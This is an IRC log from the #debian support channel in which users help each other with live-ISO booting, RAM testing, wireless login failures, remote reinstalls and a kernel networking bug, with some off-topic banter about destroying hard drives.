| 11:28.26 | idrinkkkkkbeer | can you suggest a distro then, i'll boot it from usb flash |
| 11:28.45 | SpeedyG | idrinkkkkkbeer: debian? |
| 11:28.51 | jelly-home | I've heard that particular sector (63rd sector, offset 62) used for DRM/licensing |
| 11:28.53 | idrinkkkkkbeer | are you sure your no biased ;) |
| 11:28.55 | SpeedyG | got it running on my desktop upstairs, works pretty good |
| 11:29.02 | *** join/#debian Multiply_ (~Multiply@2004ds1-aboes.0.fullrate.dk) |
| 11:29.02 | *** join/#debian Multiply_ (~Multiply@unaffiliated/multiply) |
| 11:29.21 | *** join/#debian ManateeLazyCat (~user@221.234.133.52) |
| 11:30.15 | ectospasm | idrinkkkkkbeer: there are a host of Linux rescue Live distributions that you could use. I'd recommend Debian |
| 11:30.17 | jelly-home | idrinkkkkkbeer: I'm not implying usage scenarios, but note that Freenode forbids discussion of illegal deeds |
| 11:30.23 | ectospasm | !tell idrinkkkkkbeer about livecd |
| 11:30.59 | ectospasm | and with that, this conversation is closed (for me, anyway) |
| 11:31.04 | *** join/#debian Bop (~Vrooomm@83-223-164-81.cpe.netmadeira.com) |
| 11:31.19 | SpeedyG | joins ectospasm in his statement |
| 11:31.22 | idrinkkkkkbeer | jelly i really dont understand what you are implying |
| 11:31.29 | jelly-home | good |
| 11:31.46 | idrinkkkkkbeer | if i was a pedo i wouldnt use a live cd, since i'd want to SAVE the data obviously |
| 11:31.48 | idrinkkkkkbeer | you are too funny |
| 11:32.06 | *** join/#debian edog (~edog@176.60.144.162) |
| 11:32.26 | *** join/#debian imad (~imad@tru75-10-78-227-76-28.fbx.proxad.net) |
| 11:32.41 | ectospasm | 2M USD of valuable patents... and kiddie pr0n? You gotta be kidd'n me... |
| 11:32.48 | idrinkkkkkbeer | if you think encryption and dd command are illegal then are you sure your grand parents weren't in the SS? |
| 11:33.05 | idrinkkkkkbeer | privacy is a personal right and a business necessity |
| 11:33.13 | *** join/#debian pLk (~mail@xdslax125.osnanet.de) |
| 11:33.57 | *** join/#debian Evixion (~Evixion@67.235.65.140) |
| 11:34.05 | jelly-home | dunno, we destroy our media physically |
| 11:34.08 | *** part/#debian imad (~imad@tru75-10-78-227-76-28.fbx.proxad.net) |
| 11:34.43 | idrinkkkkkbeer | thats preety easy |
| 11:34.54 | jelly-home | (well, not really, we keep it for years until someone approves paying for destruction) |
| 11:35.05 | ectospasm | idrinkkkkkbeer: that is idle conversation, and not appropriate here. We informed you how to use dd... verify it in the manual pages, make (and test!) your backups, then do it. |
| 11:35.16 | idrinkkkkkbeer | ok |
| 11:35.21 | idrinkkkkkbeer | im not trying to troll |
| 11:35.29 | idrinkkkkkbeer | just jelly got me going by implying that im a criminal |
| 11:35.40 | idrinkkkkkbeer | which in itself was off-topic |
| 11:35.46 | idrinkkkkkbeer | and idle'ly stupid |
| 11:35.54 | jelly-home | that, it was |
| 11:36.52 | idrinkkkkkbeer | suggests jelly-home looks at 'man self-flagellation' |
| 11:37.02 | idrinkkkkkbeer | and loops it about a 1000 times |
| 11:37.12 | *** join/#debian Bop (~Vrooomm@83-223-164-81.cpe.netmadeira.com) |
| 11:37.59 | idrinkkkkkbeer | ok im out thanks for the dd |
| 11:38.15 | *** join/#debian em (~em@unaffiliated/emma) |
| 11:38.18 | dgeary2 | Is there an iso-scan/filename boot parameter equivalent for Debian? |
| 11:38.18 | *** part/#debian idrinkkkkkbeer (~sissybell@61.173.28.128) |
| 11:38.40 | ectospasm | I wonder if he comes back and says we taught him how to erase more than he bargained for? |
| 11:38.43 | *** join/#debian ajikeshi (~ajikeshi@unaffiliated/ajikeshi) |
| 11:39.09 | *** join/#debian MarGarina (~orenhe@46-117-236-29.bb.netvision.net.il) |
| 11:39.29 | *** join/#debian ajikeshi (~ajikeshi@unaffiliated/ajikeshi) |
| 11:39.36 | jelly-home | I figure the dude is trying to wipe the key for the encrypted data on his disk |
| 11:40.15 | ectospasm | what's the harm in that? The encrypted data would be useless to him afterwards |
| 11:40.17 | wols_ | jelly-home: which OS does it store there? what I remember is that Windows DRM FlexLm from Adobe stores stuff there |
| 11:40.40 | *** join/#debian dualboot (~dualboot@2002:579e:12dd:0:dc1c:db1a:92a7:b324) |
| 11:40.46 | ectospasm | ...unless the encryption is so weak that it opens up with no key? |
| 11:40.52 | wols_ | and what keys for encrypted data are storedin any place? |
| 11:41.35 | jelly-home | if the data is worth that much, I wouldn't hesitate to take a sander to the disk plates |
| 11:41.49 | casts | fire! |
| 11:41.52 | ectospasm | jelly-home: I think he was trying to save the non-encrypted stuff |
| 11:42.04 | jelly-home | ectospasm: copy the non-encrypted stuff first |
| 11:42.08 | *** join/#debian e-anima (~eanima@p5DF5FEED.dip.t-dialin.net) |
| 11:42.10 | casts | wonder how one could get the casing to burn |
| 11:42.19 | jelly-home | casing? |
| 11:42.23 | ectospasm | jelly-home: well, he only half-heartedly said he'd make backups first (-; |
| 11:42.25 | *** join/#debian zenlunatic (~justin@c-68-48-40-231.hsd1.md.comcast.net) |
| 11:42.38 | SpeedyG | oh well, if someone tries to be so unclear about his means, he just simply askes for these kind of thoughts running around |
| 11:42.45 | ectospasm | I've heard that melting down HDDs is an effective method at destroying the data. |
| 11:43.14 | jelly-home | ectospasm: I've heard lots of things, but I haven't heard of data recovery after sanding |
| 11:43.31 | ectospasm | jelly-home: I dunno, either could be fun! |
| 11:43.38 | dgeary2 | anyone know how to boot a Debian CD/DVD from ISO file? |
| 11:43.51 | ectospasm | dgeary2: need more input... |
| 11:43.59 | ectospasm | dgeary2: where does this ISO reside? |
| 11:44.31 | dgeary2 | in folder on DVD with other iso files |
| 11:45.06 | jelly-home | possibly a bit cheaper than finding a place to melt metal |
| 11:45.22 | *** join/#debian lapsusbrutus (~ah@158.254.202.84.customer.cdi.no) |
| 11:45.39 | ectospasm | do you have another medium to put this ISO file on, like a USB thumbdrive or DVD-R? |
| 11:45.40 | *** join/#debian SpeedyG (~speedyg@unaffiliated/speedyg) |
| 11:45.48 | ectospasm | jelly-home: oh, yeah. |
| 11:45.50 | thewanderer1 | jelly-home: thermite is cheap, holes in the sand are plentiful :P |
| 11:46.15 | jelly-home | thewanderer1: you still need a sander to make thermite! :-) |
| 11:46.20 | ectospasm | but I could see acquiring smelting tools could be fun in and of itself. |
| 11:46.23 | dgeary2 | ectospasm, yes why? |
| 11:46.56 | ectospasm | dgeary2: it would be easier to load the ISO onto the medium directly rather than trying to configure grub to boot the ISO. |
| 11:47.01 | ectospasm | ...IMO, of course |
| 11:47.07 | dgeary2 | ectospasm, where's the fun in that? |
| 11:47.13 | ectospasm | dgeary2: there ya go then |
| 11:47.29 | ectospasm | dgeary2: are you trying to set up a PXE server? |
| 11:48.08 | *** join/#debian oznt (~Oz@stgt-5d84a3e4.pool.mediaWays.net) |
| 11:48.14 | subimage | wols_ & homie thanks...running memtest from usb now |
| 11:48.15 | ectospasm | ...that would be awesome if you get a PXE boot to boot any bootable ISO |
| 11:48.22 | subimage | taps fingers |
| 11:48.23 | ectospasm | ...enough "boots" there? |
| 11:48.36 | dgeary2 | ectospasm, no, i'm building a DVD with multiple Operating System Live/Install ISOs (to boot and run/install from) |
| 11:48.49 | ectospasm | dgeary2: then look into a custom syslinux setup. |
| 11:49.06 | wols_ | subimage: you need to run it several hours at least to have a meaningful result. typically it's advised to run it overnight |
| 11:49.06 | ectospasm | !tell dgeary2 about syslinux |
| 11:49.17 | dgeary2 | i already know about syslinux |
| 11:49.38 | dgeary2 | i have chosen grub2 deliberately for the ISO loop mount feature |
| 11:50.02 | ectospasm | dgeary2: then you should already know where to look for how to do it. |
| 11:50.14 | dgeary2 | btw, i actually use memdisk from syslinux for the smaller ISOs |
| 11:50.27 | subimage | wols_: good advice. luckilly i'm just getting ready to pass out :) |
| 11:50.45 | dgeary2 | ectospasm, what i don't know is the Debian boot parameter to specify the location of the Debian ISO file |
| 11:50.47 | ectospasm | subimage: also, memtest only finds the most basic of errors |
| 11:51.28 | ectospasm | dgeary2: I don't know that. Seems like it'd be trivial to find. |
| 11:51.31 | *** join/#debian dvs (~me@cwv.teksavvy.com) |
| 11:51.45 | subimage | ectospasm: lol so...you're saying it might PASS and the memory could still be the issue of my readonly FS thing? |
| 11:52.07 | subimage | that...would suck |
| 11:52.09 | ectospasm | subimage: no |
| 11:52.19 | *** join/#debian isaac1024 (~isaac1024@95.60.222.77) |
| 11:52.27 | weedar | I've got a server running XenServer(/CentOS), accessible through the Internet, can I install Debian on it without requiring my local presence? I'm hoping something like dd'ing a minimal-install image to its harddisk while running and rebooting into? |
| 11:52.34 | ectospasm | subimage: memtest86+ may say all passed, even if you run it for a week straight, and you still have problems with your RAM |
| 11:52.49 | ectospasm | subimage: run something like mprime to test CPU+RAM+MMU |
| 11:53.02 | ectospasm | ...that may cause your system to hang more quickly than memtest |
| 11:53.25 | ectospasm | subimage: by all means, run memtest, but don't rely on it solely, especially if it comes up with no errors |
| 11:53.37 | *** join/#debian hansz (~peleg@bzq-84-109-27-107.red.bezeqint.net) |
| 11:53.42 | subimage | ectospasm: where can i get mprime? google isnot coming up with much |
| 11:53.52 | ansgar | weedar: debootstrap and some handwork (/etc/fstab, boot loader, kernel, passwords) |
| 11:53.59 | subimage | is it "prime95"? |
| 11:54.05 | ectospasm | subimage: http://mersenne.org/ |
| 11:54.16 | ectospasm | subimage: Google Great Internet Mersenne Prime search |
| 11:54.44 | *** join/#debian caravel (~caravel@2a01:e35:2ef5:dce0:213:e8ff:fe8a:42d9) |
| 11:55.01 | dgeary2 | ectospasm, i'm looking at /scripts/live in /live/initrd.img from the Debian DVD now, and can see that do_httpmount() loopmounts iso files, but only if HTTPFS, FTPFS, or FETCH are specified |
| 11:55.08 | *** join/#debian rage7 (~rage@val59-5-88-172-75-180.fbx.proxad.net) |
| 11:55.11 | *** join/#debian stepkrav (~step@178-164-113.dynamic.cyta.gr) |
| 11:55.11 | *** join/#debian stepkrav (~step@unaffiliated/stepkrav) |
| 11:55.53 | *** part/#debian thewanderer1 (~thewander@cwx253.internetdsl.tpnet.pl) |
| 11:56.11 | *** join/#debian Astroman (~Astroman@78-86-137-77.zone2.bethere.co.uk) |
| 11:56.21 | weedar | ansgar: I've been reading about PXE and preseeding, but it seems unlikely to work on the first try, leaving me with an unreachable server :) I had some luck with google immediately after my question, though, I think this describes a method like the one you suggest: http://www.underhanded.org/papers/debian-conversion/remotedeb.html |
| 11:56.58 | subimage | ectospasm: kinda sucks i guess i have to make a win boot usb for that or something |
| 11:57.39 | cheater__ | subimage, what are you trying to do? |
| 11:57.50 | wols_ | subimage: mprime is at mersenne.org |
| 11:57.53 | ectospasm | dgeary2: http://www.panticz.de/MultiBootUSB << does this describe what you're looking for? |
| 11:58.07 | cheater__ | oh right |
| 11:58.14 | subimage | cheater__: trying to figure out the cause of my new system going into "read only" mode after installing |
| 11:58.23 | subimage | i've swapped 2 mobos...and diff hd's |
| 11:58.24 | cheater__ | just uh... get a forkbomb or something |
| 11:58.28 | subimage | now im testing ram :( |
| 11:58.33 | wols_ | cheater__: plus variou segfaults and worse |
| 11:58.39 | cheater__ | what is read only mode? |
| 11:58.52 | cheater__ | um dude, have you tested your psu? |
| 11:58.55 | subimage | ext3 remounts the system in read-only mode |
| 11:58.55 | cheater__ | is it some cheap junk? |
| 11:59.02 | subimage | no its an antec 850 |
| 11:59.04 | subimage | its not the psu |
| 11:59.10 | cheater__ | if you say so |
| 11:59.12 | cheater__ | maybe cables? |
| 11:59.18 | cheater__ | have you tried other hd cables? |
| 11:59.21 | subimage | yes |
| 11:59.37 | cheater__ | maybe something's overheating? |
| 11:59.43 | subimage | no clue |
| 11:59.50 | cheater__ | get a desk fan |
| 11:59.52 | cheater__ | open the case |
| 11:59.58 | *** join/#debian asias (~asias@lifeatwarp10.com) |
| 12:00.01 | subimage | i can run bitcoin distro linuxcoin on the machine for a week straight |
| 12:00.09 | lapsusbrutus | Im going to write a script that runs on a headless server that checks cd rom for audio cds. and when audio cd is put in, a command "abcde" has to be run automaticly. any idea of how I could achieve that? a script running a loop checking outpot of $(dmesg|tail|grep $something) ?? |
| 12:00.09 | subimage | but if i install something to a HD it mounts readonly mode |
| 12:00.22 | *** join/#debian MarGarina (~orenhe@46-117-236-29.bb.netvision.net.il) |
| 12:00.26 | subimage | after like ~1hr of use |
| 12:00.27 | cheater__ | and you've tried different hdds too? |
| 12:00.31 | subimage | of course |
| 12:00.45 | cheater__ | maybe they're getting hot? |
| 12:00.52 | subimage | there's ample ventilation |
| 12:00.55 | cheater__ | tried running a hdd while it's sitting next to the computer? |
| 12:00.56 | *** join/#debian floodplain (~floodplai@109.255.50.88) |
| 12:01.06 | subimage | no, because that's silly |
| 12:01.06 | dgeary2 | ectospasm, no, http://www.panticz.de/MultiBootUSB does not describe what i'm looking for, i still want to boot into /live/filesystem.squashfs in the Debian ISO |
| 12:01.08 | subimage | its not hot in there |
| 12:01.20 | subimage | i'm not even taxing it when the error happens |
| 12:01.35 | cheater__ | if i were you i'd go the deskfan route |
| 12:01.36 | cheater__ | heh |
| 12:01.43 | *** join/#debian ealdor (~ealdor@140.Red-79-147-21.dynamicIP.rima-tde.net) |
| 12:01.46 | subimage | sorry dont think thats going to do anything |
| 12:01.47 | cheater__ | have you tried another linux? |
| 12:02.00 | cheater__ | with hdd install.. |
| 12:02.07 | subimage | no i've not |
| 12:02.15 | subimage | although i might install windows7 and see what it does |
| 12:02.22 | cheater__ | go for it |
| 12:02.31 | cheater__ | althouth, you know, linux isn't *always* working correctly |
| 12:02.38 | cheater__ | it's not impervious to failing |
| 12:02.43 | cheater__ | try a different distro |
| 12:02.56 | subimage | hrm |
| 12:03.05 | subimage | might be an issue with my chipset + debian or something you think? |
| 12:03.21 | ectospasm | dgeary2: you're not good at explaining your problem in its entirety. I need to go now. bbiab. |
| 12:03.45 | cheater__ | subimage, i think so yes |
| 12:04.07 | cheater__ | try something completely different like suse or mint, or try ubuntu, and see what happens |
| 12:04.08 | *** join/#debian dualboot (~dualboot@2002:579e:12dd:0:dc1c:db1a:92a7:b324) |
| 12:04.10 | subimage | and this is based on...personal experience or pure speculation? |
| 12:04.30 | *** join/#debian a111 (~a111a111@2.97.85.165) |
| 12:04.58 | *** join/#debian drwrr (~drwrr@ip-178-202-101-63.unitymediagroup.de) |
| 12:05.02 | subimage | also isn't ubuntu basically debian? |
| 12:05.02 | dgeary2 | ectospasm, thanks for trying to help |
| 12:05.30 | dgeary2 | i think i need isofrom boot parameter with /dev/disk/by-label/... |
| 12:05.59 | *** join/#debian Aran (~aran@host47-45-dynamic.21-79-r.retail.telecomitalia.it) |
| 12:07.03 | *** join/#debian jetscreamer (~jetscream@unaffiliated/jetscreamer) |
| 12:07.34 | *** join/#debian phate408 (Phate@c-24-20-92-230.hsd1.wa.comcast.net) |
| 12:09.11 | *** join/#debian ravenbird (4Jei0STXhN@unaffiliated/simonrvn/bot/ravenbird) |
| 12:10.30 | *** join/#debian Gilde (~Gilde@dslb-092-076-151-042.pools.arcor-ip.net) |
| 12:10.31 | drwrr | oh no, i missed it. did idrinkbeeeer manage to nuke his sector? |
| 12:10.58 | dgeary2 | drwrr, idrinkbeeeer has left |
| 12:11.00 | *** mode/#debian [+l 1103] by debhelper |
| 12:13.53 | *** join/#debian SnarkBait (~snarkbait@99-25-59-42.uvs.okcbok.sbcglobal.net) |
| 12:14.16 | *** join/#debian Myztik (~Myztik@91-138.anonymous.at.anonine.com) |
| 12:15.08 | *** join/#debian rtr (~rtr@c83-248-11-82.bredband.comhem.se) |
| 12:15.27 | *** join/#debian a111 (~a111a111@2.97.85.165) |
| 12:19.16 | *** join/#debian Deadguy (~Deadguy@pdpc/supporter/active/deadguy) |
| 12:21.17 | *** join/#debian doogaille (~doogaille@sgg35-2-88-122-22-44.fbx.proxad.net) |
| 12:26.03 | *** join/#debian dArK_IcE (~lawl@a79-168-158-235.cpe.netcabo.pt) |
| 12:27.31 | *** join/#debian althaser (~gnu@cl-229.lis-01.pt.sixxs.net) |
| 12:27.32 | *** join/#debian sllide (~jari@ip565eb113.direct-adsl.nl) |
| 12:28.32 | *** join/#debian xraptorx (~xraptorx@189.146.229.35) |
| 12:29.00 | *** join/#debian llua (~llua@unaffiliated/llua) |
| 12:31.40 | *** join/#debian lost_in_edmonton (~lost_in_e@69-165-134-248.dsl.teksavvy.com) |
| 12:33.50 | *** join/#debian AimHere (~bod@host86-170-138-7.range86-170.btcentralplus.com) |
| 12:34.27 | *** join/#debian thelastninja (~thelastni@188.75.70.99) |
| 12:34.43 | *** join/#debian DavidPlim (~User@93-96-26-180.zone4.bethere.co.uk) |
| 12:34.51 | *** join/#debian Jurkki (~jukka@a91-156-170-162.elisa-laajakaista.fi) |
| 12:36.02 | *** join/#debian Myztik (~Myztik@91-160.anonymous.at.anonine.com) |
| 12:38.11 | *** join/#debian ddan (~iacku@host230-237-dynamic.211-62-r.retail.telecomitalia.it) |
| 12:38.29 | *** join/#debian asias (~asias@lifeatwarp10.com) |
| 12:41.19 | *** join/#debian AimHere (~bod@host86-170-138-7.range86-170.btcentralplus.com) |
| 12:42.40 | *** join/#debian Quite (~mats@213-64-75-70-no57.tbcn.telia.com) |
| 12:43.37 | *** join/#debian gezgin (~gezgin@85.108.156.224) |
| 12:44.00 | *** join/#debian totem (~mplayer@unaffiliated/totem) |
| 12:45.39 | *** join/#debian waka (~waka@unaffiliated/waka) |
| 12:47.11 | *** join/#debian liable_ (~liable@unaffiliated/liable) |
| 12:50.31 | *** join/#debian AimHere (~bod@host86-170-138-7.range86-170.btcentralplus.com) |
| 12:52.28 | *** join/#debian MarGarina (~orenhe@46-117-236-29.bb.netvision.net.il) |
| 12:52.56 | *** join/#debian el_bb (~el_btd@109.125.107.76.dynamic.cablesurf.de) |
| 12:53.02 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 12:53.06 | *** join/#debian MarkB1 (~biggers@nc-184-0-133-90.dhcp.embarqhsd.net) |
| 12:53.43 | *** part/#debian MarkB1 (~biggers@nc-184-0-133-90.dhcp.embarqhsd.net) |
| 12:53.55 | *** join/#debian waka_ (~waka@unaffiliated/waka) |
| 12:54.19 | *** join/#debian m8 (~mor@unaffiliated/m8) |
| 12:56.27 | *** join/#debian grok0 (~o~o@unaffiliated/o-/x-1234567) |
| 12:57.01 | *** join/#debian stepkrav (~step@unaffiliated/stepkrav) |
| 12:59.30 | *** join/#debian chipotle (~chipotle@18.111.10.215) |
| 12:59.53 | *** join/#debian nodeps (~nodeps@201.78.125.230) |
| 13:00.12 | *** join/#debian trebor_home (~email@dslb-188-107-193-144.pools.arcor-ip.net) |
| 13:00.35 | nodeps | I'm looking for a simple video player, any advice? |
| 13:00.54 | dgeary2 | ectospasm, fromiso=/dev/... looks to be the correct parameter, but the isofs needs to be loaded |
| 13:00.57 | dgeary2 | nodeps, VLC |
| 13:02.12 | trebor_home | hi. is there a way to check why a wlan connection stops to work (it worked for months no problem and it works on 2 other laptops with no problem). is there any log-file where i can see what is going wrong? (debian6) |
| 13:02.51 | *** join/#debian d_m (~d_m@64.186.128.169) |
| 13:02.59 | nodeps | dgeary2: thanks :-) |
| 13:05.18 | trebor_home | i use debian6 kde and the network-manager, and it keeps asking me for the password. i put it in (copying, retyping, rechecking, whatever) and then connection fails. |
| 13:06.39 | *** join/#debian eshat (~eshat@dslb-088-078-023-047.pools.arcor-ip.net) |
| 13:07.10 | *** join/#debian earthnative (~nemo@ppp118-208-45-69.lns20.bne1.internode.on.net) |
| 13:07.33 | *** join/#debian semeion (~weechat@unaffiliated/semeion) |
| 13:08.06 | *** join/#debian Legion (~Legion@unaffiliated/leg1on) |
| 13:10.29 | *** join/#debian Floops (~baihu@shellium/staff/floops) |
| 13:11.00 | *** join/#debian syslq (~syslq@91.185.207.168) |
| 13:11.14 | *** join/#debian llua (~llua@unaffiliated/llua) |
| 13:11.16 | dgeary2 | is there a way to load a kernel module from the kernel command line? |
| 13:11.58 | trebor_home | is there a log file besides /var/log/messages where i can get detailed informaitons what the (f!$%$) network manager is trying to do? i copied the password from another laptop, so i am pretty sure it is ok.... |
| 13:13.07 | *** join/#debian wvmac (~wvmac@c-98-236-80-164.hsd1.wv.comcast.net) |
| 13:13.23 | dgeary2 | trebor_home, try using a packet sniffer like Wireshark to view the communications |
| 13:13.54 | *** join/#debian mastroDani (~Daniele@host39-74-dynamic.4-87-r.retail.telecomitalia.it) |
| 13:14.04 | *** join/#debian Ryushin (proxy@cl-412.phx-01.us.sixxs.net) |
| 13:14.36 | *** join/#debian ompaul (~ompaul@109.76.255.101) |
| 13:14.40 | *** join/#debian ompaul (~ompaul@unaffiliated/ompaul) |
| 13:15.37 | *** join/#debian zyga (~zyga@53.Red-83-40-176.dynamicIP.rima-tde.net) |
| 13:15.37 | *** join/#debian zyga (~zyga@linaro/zyga) |
| 13:16.22 | *** join/#debian valdyn_ (~valdyn@valdyn.org) |
| 13:16.50 | *** join/#debian MrCoffee (~glen@unaffiliated/ridout) |
| 13:17.18 | *** join/#debian djura-san (~djura-san@unaffiliated/djura-san) |
| 13:18.27 | *** join/#debian cornair (~developer@dslb-088-073-140-041.pools.arcor-ip.net) |
| 13:19.15 | *** join/#debian movl (~movl@89.47.83.116) |
| 13:20.29 | djura-san | mjau o/ |
| 13:20.43 | *** join/#debian syslq (~syslq@91.185.207.168) |
| 13:22.02 | *** join/#debian timdau (~paul@chill.semiotek.com) |
| 13:22.54 | *** join/#debian Ryushin (proxy@cl-412.phx-01.us.sixxs.net) |
| 13:23.02 | timdau | I am looking to use pvgrub in xen, but I don't see the stub kernel in any package. Do I need to compile it from source? |
| 13:23.40 | *** join/#debian hochron (~ringo@h96-60-184-146.cncrtn.dsl.dynamic.tds.net) |
| 13:24.02 | hochron | what |
| 13:24.07 | *** join/#debian Gurty (~princess@criteofr.pck.nerim.net) |
| 13:24.17 | *** join/#debian mastroDani (~Daniele@host39-74-dynamic.4-87-r.retail.telecomitalia.it) |
| 13:24.58 | hochron | what does this errr mean whe running aptitude upgrade? W: Possible missing firmware /lib/firmware/e100/d102e_ucode.bin for module e100? |
| 13:25.19 | *** join/#debian Texou (~Texou@unaffiliated/texou) |
| 13:25.31 | wols_ | !tell hochron about firmware |
| 13:25.43 | timdau | hochron: it means exactly what it said. Lately debian has bundled non-free firmward seperately. |
| 13:25.46 | wols_ | hochron: squeeze is the first debian which has removed unfree firmware from the distribution |
| 13:25.48 | timdau | or yeah, that. |
| 13:26.04 | hochron | ok thank you |
| 13:26.12 | *** join/#debian mastroDani (~Daniele@host39-74-dynamic.4-87-r.retail.telecomitalia.it) |
| 13:26.25 | timdau | that doesn't read right |
| 13:26.27 | *** join/#debian luftikuss (~luftikuss@no.spaceleft.net) |
| 13:26.41 | timdau | add non-free to your sources and search for it |
| 13:27.02 | hochron | ok ty timdau |
| 13:27.40 | timdau | !tell timdau about xen pvgrub stub kernel |
| 13:27.49 | timdau | :/ |
| 13:28.09 | *** join/#debian mastroDani (~Daniele@host39-74-dynamic.4-87-r.retail.telecomitalia.it) |
| 13:28.29 | trebor_home | the network-manager displays all available wireless-networks, but trying to connect results in putting in the passphrase and then failing to connect. the passphrase is correct. what else might be the problem and how can i analyze it further? |
| 13:28.48 | *** join/#debian shauno (~soneil@pdpc/supporter/professional/shauno) |
| 13:28.56 | ompaul | wpa or not |
| 13:28.58 | wols_ | trebor_home: maybe .xsession-errors? syslog? /var/log/messages? |
| 13:30.18 | trebor_home | its wpa |
| 13:30.34 | *** join/#debian Parsifal (~steven@CPE-121-217-131-200.lnse2.cht.bigpond.net.au) |
| 13:31.19 | *** join/#debian Skaperen (~phil@c-76-120-129-149.hsd1.wv.comcast.net) |
| 13:31.23 | trebor_home | i checked /var/log/messages and daemon.log : /org/freedesktop/networkmanagersettings/0 failed to active (timeout): (0) connection was not provided by any settings service |
| 13:32.07 | *** join/#debian choonming (~choonming@175.139.62.69) |
| 13:34.04 | *** join/#debian lord_rob (robert@90.54-247-81.adsl-dyn.isp.belgacom.be) |
| 13:34.04 | *** join/#debian lord_rob (robert@unaffiliated/lord-rob/x-573835) |
| 13:34.14 | *** join/#debian Kawayde (~Kaede@unaffiliated/kaede) |
| 13:34.16 | *** join/#debian luftikuss (~luftikuss@no.spaceleft.net) |
| 13:34.25 | *** join/#debian Deadguy (~Deadguy@pdpc/supporter/active/deadguy) |
| 13:34.25 | *** join/#debian mtn (~mtn@99-196-114-231.cust.wildblue.net) |
| 13:34.50 | *** join/#debian EduardeCalibal (~Eduarde@novoseusadosinformatica.com.br) |
| 13:35.13 | *** join/#debian luxor (~quassel@91.178.164.43) |
| 13:38.16 | *** join/#debian doogaille (~doogaille@sgg35-2-88-122-22-44.fbx.proxad.net) |
| 13:39.55 | *** join/#debian Calyp (~Caly@unaffiliated/calyptratus-tzm) |
| 13:39.56 | *** join/#debian Wyzard (~mike@pool-96-234-182-33.bltmmd.fios.verizon.net) |
| 13:40.07 | *** join/#debian mns (~mns@c-71-192-48-209.hsd1.ma.comcast.net) |
| 13:40.09 | *** join/#debian coolmadmax (~cool_code@client-203-166-108-62.net2000.com.au) |
| 13:40.54 | *** join/#debian miguetan (~miguetan@237.242.165.83.dynamic.mundo-r.com) |
| 13:41.00 | *** mode/#debian [+l 1115] by debhelper |
| 13:42.37 | *** join/#debian jemark (~mark@unaffiliated/jemark) |
| 13:43.44 | *** join/#debian l4ng1t (~l4ng1t@116.90.173.102) |
| 13:44.02 | *** join/#debian negaduck (~darkwingd@195.245.77.75) |
| 13:44.40 | *** join/#debian thinksteve (~stephan@p578F7F28.dip.t-dialin.net) |
| 13:45.31 | *** join/#debian Cromulent (~Cromulent@cpc8-reig4-2-0-cust24.6-3.cable.virginmedia.com) |
| 13:45.50 | *** join/#debian BondMan (~quassel@adsl-23.79.107.78.tellas.gr) |
| 13:45.52 | BondMan | hello |
| 13:45.58 | *** join/#debian isaac1024 (~isaac1024@95.60.222.77) |
| 13:46.06 | BondMan | i have the same problem |
| 13:46.06 | BondMan | http://lists.debian.org/debian-cd/2005/11/msg00055.html |
| 13:46.10 | BondMan | has anyone solved it? |
| 13:46.43 | *** join/#debian claviusmond (~Clarice@148.Red-83-36-240.dynamicIP.rima-tde.net) |
| 13:46.56 | *** join/#debian porsche911turbo (~special@0278fb20.bb.sky.com) |
| 13:46.56 | *** join/#debian porsche911turbo (~special@unaffiliated/chrisjw) |
| 13:47.20 | *** join/#debian semeion (~weechat@unaffiliated/semeion) |
| 13:47.28 | *** join/#debian felixhcat (~felixdhca@h69-129-38-38.plmomi.dedicated.static.tds.net) |
| 13:48.30 | *** join/#debian arcangelus (~arcangelu@188.11.82.98) |
| 13:48.36 | eshat | BondMan: that bug is from 2005 |
| 13:48.50 | BondMan | eshat: this happens to me now |
| 13:48.53 | BondMan | its not a bug |
| 13:49.01 | eshat | I had good experience with k3b |
| 13:49.28 | *** part/#debian arcangelus (~arcangelu@188.11.82.98) |
| 13:49.29 | ompaul | is that the result of someone burning not DAO |
| 13:49.49 | *** join/#debian ailo (~ailo.at@90-230-166-102-no35.tbcn.telia.com) |
| 13:51.13 | *** join/#debian thelastninja (~thelastni@109.162.223.235) |
| 13:51.18 | *** join/#debian asarch (~asarch@187.132.136.142) |
| 13:51.47 | *** join/#debian Andy_S (~kvirc@222.129.43.114) |
| 13:52.31 | mirak_ | hi |
| 13:53.02 | mirak_ | is there a way to run the installer from within a debian installation to install on another partition or hard drive ? |
| 13:53.34 | *** join/#debian vitaliel (~lz@87.255.74.3) |
| 13:54.10 | mirak_ | debootstrap is a bit rough, I can't see why the installer couldn't be run from an install |
| 13:54.26 | mirak_ | an already existing install or a livecd |
| 13:54.38 | ompaul | mirak_: touch a large file and use kvm |
| 13:54.43 | ompaul | if your box supports that |
| 13:54.47 | *** join/#debian crypticsquared (~crypticsq@unaffiliated/crypticsquared) |
| 13:55.14 | mirak_ | ompaul, no, it's a e5200 without virtualisation |
| 13:55.29 | *** join/#debian joe6 (~joe6@c-76-20-251-41.hsd1.ga.comcast.net) |
| 13:55.42 | mirak_ | ompaul, by the way I already did that with VirtualBox and the drive couldn't boot |
| 13:56.00 | mirak_ | like a disk geometry problem |
| 13:56.03 | *** join/#debian EduardeCalibal (~Eduarde@novoseusadosinformatica.com.br) |
| 13:56.10 | ompaul | I know nothing of virtualbox or other funny stuff |
| 13:56.18 | mirak_ | it's similar |
| 13:56.22 | *** join/#debian mastroDani (~Daniele@87.13.81.133) |
| 13:56.51 | vitaliel | Hello, I have a problem with kernel: it can not make new tcp connections after some time, here is the dump of tcpdump: http://pastie.org/2120684 , Can someone help with debugging this bug? As I understand from logs it fails to get first syn packet |
| 13:57.04 | *** join/#debian derchris (~derchris@78-86-128-162.zone2.bethere.co.uk) |
| 13:57.21 | ompaul | vitaliel: version of kernel version of debian and so forth |
| 13:57.40 | ectospasm | vitaliel: also, the output of dmesg and /var/log/messages |
| 13:58.07 | *** join/#debian dgm (~dgm_077@port-92-206-10-7.dynamic.qsc.de) |
| 13:58.13 | vitaliel | ompaul: I tried many versions: squeeze kernel, 2.6.39, 3.0.0-rc3 |
| 13:58.15 | *** join/#debian mastroDani (~Daniele@87.13.81.133) |
| 13:58.22 | ectospasm | vitaliel: to be honest, a raw tcpdump in text will be difficult to troubleshoot IMO, should link to the pcap directly and let us look at it in the tool we choose. |
| 13:58.45 | *** join/#debian F0lk_____ (~TheY@p5DF3C998.dip.t-dialin.net) |
| 13:59.37 | *** join/#debian semeion (~weechat@201.79.110.243) |
| 13:59.37 | *** join/#debian semeion (~weechat@unaffiliated/semeion) |
| 14:00.00 | *** join/#debian oldtopman (~oldtopman@unaffiliated/oldtopman) |
| 14:00.19 | *** join/#debian syslq (~syslq@91.185.207.168) |
